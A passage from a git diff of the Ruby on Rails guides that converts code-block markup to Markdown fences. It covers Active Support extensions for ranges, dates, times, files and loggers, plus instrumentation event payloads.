Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
-<ruby>
+```ruby
(1..10).include?(3..7) # => true
(1..10).include?(0..7) # => false
(1..10).include?(3..11) # => false
@@ -2937,7 +2937,7 @@ Active Support extends these methods so that the argument may be another range i
(1..10) === (0..7) # => false
(1..10) === (3..11) # => false
(1...9) === (3..9) # => false
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/range/include_range.rb+.
@@ -2945,11 +2945,11 @@ h4. +overlaps?+
The method +Range#overlaps?+ says whether any two given ranges have non-void intersection:
-<ruby>
+```ruby
(1..10).overlaps?(7..11) # => true
(1..10).overlaps?(0..7) # => true
(1..10).overlaps?(11..27) # => false
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/range/overlaps.rb+.
@@ -2959,22 +2959,22 @@ h4. +bind+
As you surely know Ruby has an +UnboundMethod+ class whose instances are methods that belong to the limbo of methods without a self. The method +Module#instance_method+ returns an unbound method for example:
-<ruby>
+```ruby
Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
-</ruby>
+```
An unbound method is not callable as is, you need to bind it first to an object with +bind+:
-<ruby>
+```ruby
clear = Hash.instance_method(:clear)
clear.bind({:a => 1}).call # => {}
-</ruby>
+```
Active Support defines +Proc#bind+ with an analogous purpose:
-<ruby>
+```ruby
Proc.new { size }.bind([]).call # => 0
-</ruby>
+```
As you see that's callable and bound to the argument, the return value is indeed a +Method+.
@@ -2982,7 +2982,7 @@ NOTE: To do so +Proc#bind+ actually creates a method under the hood. If you ever
Action Pack uses this trick in +rescue_from+ for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by +handler_for_rescue+, thus simplifying the code in the caller:
-<ruby>
+```ruby
def handler_for_rescue(exception)
_, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
...
@@ -2995,7 +2995,7 @@ def handler_for_rescue(exception)
rescuer.bind(self)
end
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/proc.rb+.
@@ -3019,19 +3019,19 @@ h6. +prev_year+, +next_year+
In Ruby 1.9 +prev_year+ and +next_year+ return a date with the same day/month in the last or next year:
-<ruby>
+```ruby
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_year # => Fri, 08 May 2009
d.next_year # => Sun, 08 May 2011
-</ruby>
+```
If date is the 29th of February of a leap year, you obtain the 28th:
-<ruby>
+```ruby
d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
d.prev_year # => Sun, 28 Feb 1999
d.next_year # => Wed, 28 Feb 2001
-</ruby>
+```
+prev_year+ is aliased to +last_year+.
@@ -3039,20 +3039,20 @@ h6. +prev_month+, +next_month+
In Ruby 1.9 +prev_month+ and +next_month+ return the date with the same day in the last or next month:
-<ruby>
+```ruby
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_month # => Thu, 08 Apr 2010
d.next_month # => Tue, 08 Jun 2010
-</ruby>
+```
If such a day does not exist, the last day of the corresponding month is returned:
-<ruby>
+```ruby
Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
-</ruby>
+```
+prev_month+ is aliased to +last_month+.
@@ -3060,20 +3060,20 @@ h6. +prev_quarter+, +next_quarter+
Same as +prev_month+ and +next_month+. It returns the date with the same day in the previous or next quarter:
-<ruby>
+```ruby
t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
t.prev_quarter # => Mon, 08 Feb 2010
t.next_quarter # => Sun, 08 Aug 2010
-</ruby>
+```
If such a day does not exist, the last day of the corresponding month is returned:
-<ruby>
+```ruby
Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000
Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000
Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
-</ruby>
+```
+prev_quarter+ is aliased to +last_quarter+.
@@ -3083,13 +3083,13 @@ The methods +beginning_of_week+ and +end_of_week+ return the dates for the
beginning and end of the week, respectively. Weeks are assumed to start on
Monday, but that can be changed passing an argument.
-<ruby>
+```ruby
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.beginning_of_week # => Mon, 03 May 2010
d.beginning_of_week(:sunday) # => Sun, 02 May 2010
d.end_of_week # => Sun, 09 May 2010
d.end_of_week(:sunday) # => Sat, 08 May 2010
-</ruby>
+```
+beginning_of_week+ is aliased to +at_beginning_of_week+ and +end_of_week+ is aliased to +at_end_of_week+.
@@ -3098,29 +3098,29 @@ h6. +monday+, +sunday+
The methods +monday+ and +sunday+ return the dates for the beginning and
end of the week, respectively. Weeks are assumed to start on Monday.
-<ruby>
+```ruby
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.monday # => Mon, 03 May 2010
d.sunday # => Sun, 09 May 2010
-</ruby>
+```
h6. +prev_week+, +next_week+
The method +next_week+ receives a symbol with a day name in English (in lowercase, default is +:monday+) and it returns the date corresponding to that day:
-<ruby>
+```ruby
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.next_week # => Mon, 10 May 2010
d.next_week(:saturday) # => Sat, 15 May 2010
-</ruby>
+```
The method +prev_week+ is analogous:
-<ruby>
+```ruby
d.prev_week # => Mon, 26 Apr 2010
d.prev_week(:saturday) # => Sat, 01 May 2010
d.prev_week(:friday) # => Fri, 30 Apr 2010
-</ruby>
+```
+prev_week+ is aliased to +last_week+.
@@ -3128,11 +3128,11 @@ h6. +beginning_of_month+, +end_of_month+
The methods +beginning_of_month+ and +end_of_month+ return the dates for the beginning and end of the month:
-<ruby>
+```ruby
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_month # => Sat, 01 May 2010
d.end_of_month # => Mon, 31 May 2010
-</ruby>
+```
+beginning_of_month+ is aliased to +at_beginning_of_month+, and +end_of_month+ is aliased to +at_end_of_month+.
@@ -3140,11 +3140,11 @@ h6. +beginning_of_quarter+, +end_of_quarter+
The methods +beginning_of_quarter+ and +end_of_quarter+ return the dates for the beginning and end of the quarter of the receiver's calendar year:
-<ruby>
+```ruby
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_quarter # => Thu, 01 Apr 2010
d.end_of_quarter # => Wed, 30 Jun 2010
-</ruby>
+```
+beginning_of_quarter+ is aliased to +at_beginning_of_quarter+, and +end_of_quarter+ is aliased to +at_end_of_quarter+.
@@ -3152,11 +3152,11 @@ h6. +beginning_of_year+, +end_of_year+
The methods +beginning_of_year+ and +end_of_year+ return the dates for the beginning and end of the year:
-<ruby>
+```ruby
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_year # => Fri, 01 Jan 2010
d.end_of_year # => Fri, 31 Dec 2010
-</ruby>
+```
+beginning_of_year+ is aliased to +at_beginning_of_year+, and +end_of_year+ is aliased to +at_end_of_year+.
@@ -3166,59 +3166,59 @@ h6. +years_ago+, +years_since+
The method +years_ago+ receives a number of years and returns the same date those many years ago:
-<ruby>
+```ruby
date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000
-</ruby>
+```
+years_since+ moves forward in time:
-<ruby>
+```ruby
date = Date.new(2010, 6, 7)
date.years_since(10) # => Sun, 07 Jun 2020
-</ruby>
+```
If such a day does not exist, the last day of the corresponding month is returned:
-<ruby>
+```ruby
Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
-</ruby>
+```
h6. +months_ago+, +months_since+
The methods +months_ago+ and +months_since+ work analogously for months:
-<ruby>
+```ruby
Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
-</ruby>
+```
If such a day does not exist, the last day of the corresponding month is returned:
-<ruby>
+```ruby
Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
-</ruby>
+```
h6. +weeks_ago+
The method +weeks_ago+ works analogously for weeks:
-<ruby>
+```ruby
Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010
-</ruby>
+```
h6. +advance+
The most generic way to jump to other days is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, and returns a date advanced as much as the present keys indicate:
-<ruby>
+```ruby
date = Date.new(2010, 6, 6)
date.advance(:years => 1, :weeks => 2) # => Mon, 20 Jun 2011
date.advance(:months => 2, :days => -2) # => Wed, 04 Aug 2010
-</ruby>
+```
Note in the previous example that increments may be negative.
@@ -3226,53 +3226,53 @@ To perform the computation the method first increments years, then months, then
The method +advance+ advances first one month, and then one day, the result is:
-<ruby>
+```ruby
Date.new(2010, 2, 28).advance(:months => 1, :days => 1)
# => Sun, 29 Mar 2010
-</ruby>
+```
While if it did it the other way around the result would be different:
-<ruby>
+```ruby
Date.new(2010, 2, 28).advance(:days => 1).advance(:months => 1)
# => Thu, 01 Apr 2010
-</ruby>
+```
h5. Changing Components
The method +change+ allows you to get a new date which is the same as the receiver except for the given year, month, or day:
-<ruby>
+```ruby
Date.new(2010, 12, 23).change(:year => 2011, :month => 11)
# => Wed, 23 Nov 2011
-</ruby>
+```
This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
-<ruby>
+```ruby
Date.new(2010, 1, 31).change(:month => 2)
# => ArgumentError: invalid date
-</ruby>
+```
h5(#date-durations). Durations
Durations can be added to and subtracted from dates:
-<ruby>
+```ruby
d = Date.current
# => Mon, 09 Aug 2010
d + 1.year
# => Tue, 09 Aug 2011
d - 3.hours
# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
-</ruby>
+```
They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-<ruby>
+```ruby
Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582
-</ruby>
+```
h5. Timestamps
@@ -3282,17 +3282,17 @@ h6. +beginning_of_day+, +end_of_day+
The method +beginning_of_day+ returns a timestamp at the beginning of the day (00:00:00):
-<ruby>
+```ruby
date = Date.new(2010, 6, 7)
date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
-</ruby>
+```
The method +end_of_day+ returns a timestamp at the end of the day (23:59:59):
-<ruby>
+```ruby
date = Date.new(2010, 6, 7)
date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
-</ruby>
+```
+beginning_of_day+ is aliased to +at_beginning_of_day+, +midnight+, +at_midnight+.
@@ -3300,17 +3300,17 @@ h6. +beginning_of_hour+, +end_of_hour+
The method +beginning_of_hour+ returns a timestamp at the beginning of the hour (hh:00:00):
-<ruby>
+```ruby
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
-</ruby>
+```
The method +end_of_hour+ returns a timestamp at the end of the hour (hh:59:59):
-<ruby>
+```ruby
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
-</ruby>
+```
+beginning_of_hour+ is aliased to +at_beginning_of_hour+.
@@ -3320,17 +3320,17 @@ h6. +ago+, +since+
The method +ago+ receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
-<ruby>
+```ruby
date = Date.current # => Fri, 11 Jun 2010
date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
-</ruby>
+```
Similarly, +since+ moves forward:
-<ruby>
+```ruby
date = Date.current # => Fri, 11 Jun 2010
date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
-</ruby>
+```
h5. Other Time Computations
@@ -3346,7 +3346,7 @@ NOTE: All the following methods are defined in +active_support/core_ext/date_tim
The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_ext/date/calculations.rb+ you inherit these methods and their aliases, except that they will always return datetimes:
-<ruby>
+```ruby
yesterday
tomorrow
beginning_of_week (at_beginning_of_week)
@@ -3370,25 +3370,25 @@ years_ago
years_since
prev_year (last_year)
next_year
-</ruby>
+```
The following methods are reimplemented so you do *not* need to load +active_support/core_ext/date/calculations.rb+ for these ones:
-<ruby>
+```ruby
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
ago
since (in)
-</ruby>
+```
On the other hand, +advance+ and +change+ are also defined and support more options, they are documented below.
The following methods are only implemented in +active_support/core_ext/date_time/calculations.rb+ as they only make sense when used with a +DateTime+ instance:
-<ruby>
+```ruby
beginning_of_hour (at_beginning_of_hour)
end_of_hour
-</ruby>
+```
h5. Named Datetimes
@@ -3402,19 +3402,19 @@ h6. +seconds_since_midnight+
The method +seconds_since_midnight+ returns the number of seconds since midnight:
-<ruby>
+```ruby
now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596
-</ruby>
+```
h6(#utc-datetime). +utc+
The method +utc+ gives you the same datetime in the receiver expressed in UTC.
-<ruby>
+```ruby
now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc # => Mon, 07 Jun 2010 23:27:52 +0000
-</ruby>
+```
This method is also aliased as +getutc+.
@@ -3422,40 +3422,40 @@ h6. +utc?+
The predicate +utc?+ says whether the receiver has UTC as its time zone:
-<ruby>
+```ruby
now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc? # => false
now.utc.utc? # => true
-</ruby>
+```
h6(#datetime-advance). +advance+
The most generic way to jump to another datetime is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, +:hours+, +:minutes+, and +:seconds+, and returns a datetime advanced as much as the present keys indicate.
-<ruby>
+```ruby
d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(:years => 1, :months => 1, :days => 1, :hours => 1, :minutes => 1, :seconds => 1)
# => Tue, 06 Sep 2011 12:34:32 +0000
-</ruby>
+```
This method first computes the destination date passing +:years+, +:months+, +:weeks+, and +:days+ to +Date#advance+ documented above. After that, it adjusts the time calling +since+ with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in +Date#advance+ applies, and we can extend it to show order relevance related to the time bits.
If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
-<ruby>
+```ruby
d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(:months => 1, :seconds => 1)
# => Mon, 29 Mar 2010 00:00:00 +0000
-</ruby>
+```
but if we computed them the other way around, the result would be different:
-<ruby>
+```ruby
d.advance(:seconds => 1).advance(:months => 1)
# => Thu, 01 Apr 2010 00:00:00 +0000
-</ruby>
+```
WARNING: Since +DateTime+ is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
@@ -3463,53 +3463,53 @@ h5(#datetime-changing-components). Changing Components
The method +change+ allows you to get a new datetime which is the same as the receiver except for the given options, which may include +:year+, +:month+, +:day+, +:hour+, +:min+, +:sec+, +:offset+, +:start+:
-<ruby>
+```ruby
now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(:year => 2011, :offset => Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600
-</ruby>
+```
If hours are zeroed, then minutes and seconds are too (unless they have given values):
-<ruby>
+```ruby
now.change(:hour => 0)
# => Tue, 08 Jun 2010 00:00:00 +0000
-</ruby>
+```
Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
-<ruby>
+```ruby
now.change(:min => 0)
# => Tue, 08 Jun 2010 01:00:00 +0000
-</ruby>
+```
This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
-<ruby>
+```ruby
DateTime.current.change(:month => 2, :day => 30)
# => ArgumentError: invalid date
-</ruby>
+```
h5(#datetime-durations). Durations
Durations can be added to and subtracted from datetimes:
-<ruby>
+```ruby
now = DateTime.current
# => Mon, 09 Aug 2010 23:15:17 +0000
now + 1.year
# => Tue, 09 Aug 2011 23:15:17 +0000
now - 1.week
# => Mon, 02 Aug 2010 23:15:17 +0000
-</ruby>
+```
They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-<ruby>
+```ruby
DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000
-</ruby>
+```
h3. Extensions to +Time+
@@ -3519,7 +3519,7 @@ NOTE: All the following methods are defined in +active_support/core_ext/time/cal
Active Support adds to +Time+ many of the methods available for +DateTime+:
-<ruby>
+```ruby
past?
today?
future?
@@ -3555,14 +3555,14 @@ years_ago
years_since
prev_year (last_year)
next_year
-</ruby>
+```
They are analogous. Please refer to their documentation above and take into account the following differences:
* +change+ accepts an additional +:usec+ option.
* +Time+ understands DST, so you get correct DST calculations as in
-<ruby>
+```ruby
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
@@ -3571,7 +3571,7 @@ t = Time.local_time(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(:seconds => 1)
# => Sun Mar 28 03:00:00 +0200 2010
-</ruby>
+```
* If +since+ or +ago+ jump to a time that can't be expressed with +Time+ a +DateTime+ object is returned instead.
@@ -3585,16 +3585,16 @@ h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+
The method +all_day+ returns a range representing the whole day of the current time.
-<ruby>
+```ruby
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
-</ruby>
+```
Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
-<ruby>
+```ruby
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
@@ -3605,38 +3605,38 @@ now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
-</ruby>
+```
h4. Time Constructors
Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+:
-<ruby>
+```ruby
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
-</ruby>
+```
Analogously to +DateTime+, the predicates +past?+, and +future?+ are relative to +Time.current+.
Use the +local_time+ class method to create time objects honoring the user time zone:
-<ruby>
+```ruby
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.local_time(2010, 8, 15)
# => Sun Aug 15 00:00:00 +0200 2010
-</ruby>
+```
The +utc_time+ class method returns a time in UTC:
-<ruby>
+```ruby
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.utc_time(2010, 8, 15)
# => Sun Aug 15 00:00:00 UTC 2010
-</ruby>
+```
Both +local_time+ and +utc_time+ accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.
@@ -3646,21 +3646,21 @@ h5(#time-durations). Durations
Durations can be added to and subtracted from time objects:
-<ruby>
+```ruby
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
-</ruby>
+```
They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-<ruby>
+```ruby
Time.utc_time(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582
-</ruby>
+```
h3. Extensions to +File+
@@ -3672,11 +3672,11 @@ The name of the file is passed as an argument, and the method yields a file hand
For example, Action Pack uses this method to write asset cache files like +all.css+:
-<ruby>
+```ruby
File.atomic_write(joined_asset_path) do |cache|
cache.write(join_asset_file_contents(asset_paths))
end
-</ruby>
+```
To accomplish this +atomic_write+ creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists +atomic_write+ overwrites it and keeps owners and permissions.
@@ -3692,28 +3692,28 @@ h4. +around_[level]+
Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
-<ruby>
+```ruby
logger = Logger.new("log/development.log")
logger.around_info("before", "after") { |logger| logger.info("during") }
-</ruby>
+```
h4. +silence+
Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
-<ruby>
+```ruby
logger = Logger.new("log/development.log")
logger.silence(Logger::INFO) do
logger.debug("In space, no one can hear you scream.")
logger.info("Scream all you want, small mailman!")
end
-</ruby>
+```
h4. +datetime_format=+
Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a +datetime_format+ method then this is ignored.
-<ruby>
+```ruby
class Logger::FormatWithTime < Logger::Formatter
cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
@@ -3725,7 +3725,7 @@ end
logger = Logger.new("log/development.log")
logger.formatter = Logger::FormatWithTime
logger.info("<- is the current time")
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/logger.rb+.
@@ -3739,7 +3739,7 @@ TIP: A symbol can represent a fully-qualified constant name as in +:"ActiveRecor
For example, when an action of +PostsController+ is called Rails tries optimistically to use +PostsHelper+. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that +posts_helper.rb+ raises a +NameError+ due to an actual unknown constant. That should be reraised. The method +missing_name?+ provides a way to distinguish both cases:
-<ruby>
+```ruby
def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
@@ -3749,7 +3749,7 @@ rescue MissingSourceFile => e
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/name_error.rb+.
@@ -3761,7 +3761,7 @@ Given a path name +is_missing?+ tests whether the exception was raised due to th
For example, when an action of +PostsController+ is called Rails tries to load +posts_helper.rb+, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method +is_missing?+ provides a way to distinguish both cases:
-<ruby>
+```ruby
def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
@@ -3771,6 +3771,6 @@ rescue MissingSourceFile => e
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/load_error.rb+.
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
index dcdd9d14f5..826f24bbe7 100644
--- a/guides/source/active_support_instrumentation.md
+++ b/guides/source/active_support_instrumentation.md
@@ -30,66 +30,66 @@ h4. write_fragment.action_controller
|_.Key |_.Value|
|+:key+ |The complete key|
-<ruby>
+```ruby
{
:key => 'posts/1-dasboard-view'
}
-</ruby>
+```
h4. read_fragment.action_controller
|_.Key |_.Value|
|+:key+ |The complete key|
-<ruby>
+```ruby
{
:key => 'posts/1-dasboard-view'
}
-</ruby>
+```
h4. expire_fragment.action_controller
|_.Key |_.Value|
|+:key+ |The complete key|
-<ruby>
+```ruby
{
:key => 'posts/1-dasboard-view'
}
-</ruby>
+```
h4. exist_fragment?.action_controller
|_.Key |_.Value|
|+:key+ |The complete key|
-<ruby>
+```ruby
{
:key => 'posts/1-dasboard-view'
}
-</ruby>
+```
h4. write_page.action_controller
|_.Key |_.Value|
|+:path+ |The complete path|
-<ruby>
+```ruby
{
:path => '/users/1'
}
-</ruby>
+```
h4. expire_page.action_controller
|_.Key |_.Value|
|+:path+ |The complete path|
-<ruby>
+```ruby
{
:path => '/users/1'
}
-</ruby>
+```
h4. start_processing.action_controller
@@ -101,7 +101,7 @@ h4. start_processing.action_controller
|+:method+ |HTTP request verb|
|+:path+ |Request path|
-<ruby>
+```ruby
{
:controller => "PostsController",
:action => "new",
@@ -110,7 +110,7 @@ h4. start_processing.action_controller
:method => "GET",
:path => "/posts/new"
}
-</ruby>
+```
h4. process_action.action_controller
@@ -123,7 +123,7 @@ h4. process_action.action_controller
|+:path+ |Request path|
|+:view_runtime+ |Amount spent in view in ms|
-<ruby>
+```ruby
{
:controller => "PostsController",
:action => "index",
@@ -135,7 +135,7 @@ h4. process_action.action_controller
:view_runtime => 46.848,
:db_runtime => 0.157
}
-</ruby>
+```
h4. send_file.action_controller
@@ -154,23 +154,23 @@ h4. redirect_to.action_controller
|+:status+ |HTTP response code|
|+:location+ |URL to redirect to|
-<ruby>
+```ruby
{
:status => 302,
:location => "http://localhost:3000/posts/new"
}
-</ruby>
+```
h4. halted_callback.action_controller
|_.Key |_.Value |
|+:filter+ |Filter that halted the action|
-<ruby>
+```ruby
{
:filter => ":halting_filter"
}
-</ruby>
+```
h3. ActionView
@@ -180,23 +180,23 @@ h4. render_template.action_view
|+:identifier+ |Full path to template|
|+:layout+ |Applicable layout|
-<ruby>
+```ruby
{
:identifier => "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
:layout => "layouts/application"
}
-</ruby>
+```
h4. render_partial.action_view
|_.Key |_.Value |
|+:identifier+ |Full path to template|
-<ruby>
+```ruby
{
:identifier => "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
}
-</ruby>
+```
h3. ActiveRecord
@@ -209,14 +209,14 @@ h4. sql.active_record
INFO. The adapters will add their own data as well.
-<ruby>
+```ruby
{
:sql => "SELECT \"posts\".* FROM \"posts\" ",
:name => "Post Load",
:connection_id => 70307250813140,
:binds => []
}
-</ruby>
+```
h4. identity.active_record
@@ -240,7 +240,7 @@ h4. receive.action_mailer
|+:date+ |Date of the mail|
|+:mail+ |The encoded form of the mail|
-<ruby>
+```ruby
{
:mailer => "Notification",
:message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
@@ -250,7 +250,7 @@ h4. receive.action_mailer
:date => Sat, 10 Mar 2012 14:18:09 +0100,
:mail=> "..." # ommitted for beverity
}
-</ruby>
+```
h4. deliver.action_mailer
@@ -265,7 +265,7 @@ h4. deliver.action_mailer
|+:date+ |Date of the mail|
|+:mail+ |The encoded form of the mail|
-<ruby>
+```ruby
{
:mailer => "Notification",
:message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
@@ -275,7 +275,7 @@ h4. deliver.action_mailer
:date => Sat, 10 Mar 2012 14:18:09 +0100,
:mail=> "..." # ommitted for beverity
}
-</ruby>
+```
h3. ActiveResource
@@ -304,11 +304,11 @@ This event is only used when +#fetch+ is called with a block.
INFO. Options passed to fetch will be merged with the payload when writing to the store
-<ruby>
+```ruby
{
:key => 'name-of-complicated-computation'
}
-</ruby>
+```
h4. cache_fetch_hit.active_support
@@ -320,11 +320,11 @@ This event is only used when +#fetch+ is called with a block.
INFO. Options passed to fetch will be merged with the payload.
-<ruby>
+```ruby
{
:key => 'name-of-complicated-computation'
}
-</ruby>
+```
h4. cache_write.active_support
@@ -333,33 +333,33 @@ h4. cache_write.active_support
INFO. Cache stores my add their own keys
-<ruby>
+```ruby
{
:key => 'name-of-complicated-computation'
}
-</ruby>
+```
h4. cache_delete.active_support
|_.Key |_.Value|
|+:key+ |Key used in the store|
-<ruby>
+```ruby
{
:key => 'name-of-complicated-computation'
}
-</ruby>
+```
h4. cache_exist?.active_support
|_.Key |_.Value|
|+:key+ |Key used in the store|
-<ruby>
+```ruby
{
:key => 'name-of-complicated-computation'
}
-</ruby>
+```
h3. Rails
@@ -382,17 +382,17 @@ The block receives the following arguments:
# An unique ID for this event
# The payload (described in previous sections)
-<ruby>
+```ruby
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
# your own custom stuff
Rails.logger.info "#{name} Received!"
end
-</ruby>
+```
Defining all those block arguments each time can be tedious. You can easily create an +ActiveSupport::Notifications::Event+
from block args like this:
-<ruby>
+```ruby
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
event = ActiveSupport::Notification::Event.new args
@@ -402,24 +402,24 @@ ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*a
Rails.logger.info "#{event} Received!"
end
-</ruby>
+```
Most times you only care about the data itself. Here is a shortuct to just get the data.
-<ruby>
+```ruby
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
data = args.extract_options!
data # { :extra => :information }
-</ruby>
+```
You may also subscribe to events matching a regular expresssion. This enables you to subscribe to
multiple events at once. Here's you could subscribe to everything from +ActionController+.
-<ruby>
+```ruby
ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
# inspect all ActionController events
end
-</ruby>
+```
h3. Creating custom events
@@ -430,19 +430,19 @@ as well as the unique ID. All data passed into the +insturment+ call will make i
Here's an example:
-<ruby>
+```ruby
ActiveSupport::Notifications.instrument "my.custom.event", :this => :data do
# do your custom stuff here
end
-</ruby>
+```
Now you can listen to this event with:
-<ruby>
+```ruby
ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
puts data.inspect # { :this => :data }
end
-</ruby>
+```
You should follow Rails conventions when defining your own events. The format is: +event.library+.
If you application is sending Tweets, you should create an event named +tweet.twitter+.
